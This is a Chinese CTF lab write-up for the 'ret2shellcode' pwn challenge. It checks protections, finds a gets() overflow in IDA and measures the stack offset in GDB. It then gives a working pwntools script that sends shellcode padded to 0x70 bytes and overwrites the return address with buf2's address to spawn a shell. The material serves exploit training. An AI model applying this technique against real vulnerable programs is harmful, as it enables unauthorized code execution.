0x00 寄语
所有的热爱都应该被坚持,人这一辈子太短了,无论如何都要为自己的热爱拼搏一次,就算最后失败了,至少不会后悔!
0x01 文件分析
在Ubuntu使用file命令查看文件信息。
- ELF可执行文件
- 32位程序
- 小端序
- i386架构
使用checksec命令查看文件保护开启情况。
- 未开启金丝雀
- 未开启堆栈不可执行
- 未开启内存地址随机化
0x02 静态分析
使用32位IDA打开文件
F5查看伪代码
- gets函数接受输入并传递给s
- 将s的值拷贝给buf2,buf2分配了0x64的空间
- 在接收输入的时候,并未对输入的值做长度的判断,在拷贝之后会存在溢出。
查看汇编代码
- 调用gets函数接收参数。
- 将s的地址加载到eax寄存器
- 将eax压入栈中
- 调用gets函数
- 调用strncpy函数
0x03 动态调试
使用GDB挂起程序。
将断点下到main函数,运行程序。
单步调试到GETS函数
- 参数s的栈地址为0xffffd12c
查看栈空间
- esp指针地址0xffffd110
- eax指针地址0xffffd12c
- ebp指针地址0xffffd198
- 返回地址0xffffd19c
计算覆盖长度
- 覆盖到ebp需要长度为0x6c的padding填充
0x04 payload设计
- 使用pwntools用shellcode填充
- 填充覆盖ebp
- 将跳转地址覆盖为buf2的地址
0x05 寻找buf2的地址
- 使用IDA找到buf2的地址
- buf2_addr = 0x0804A080
0x06 编写POC
from pwn import *
context.arch = "i386"
p = process("./ret2shellcode")
elf = ELF("./ret2shellcode")
# libc = ELF("/home/tiam/Desktop/i386-linux-gnu/libc-2.27.so")
buf2_addr = 0x0804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x70,b"a") + p32(buf2_addr)
p.sendline(payload)
p.interactive()
- 使用pwntools的shellcraft函数生成shellcode。
- 构造payload时候,使用ljust函数将覆盖函数用字符a进行填充,覆盖到ebp。
0x07 执行脚本
0x08 issue
在脚本执行时,我先使用了python3执行的,可以得到shell,但是一旦执行命令,shell就中断了,如下图所示。但是python2就可以正常执行,没找到问题所在,如果有师傅知道,求告知!谢谢!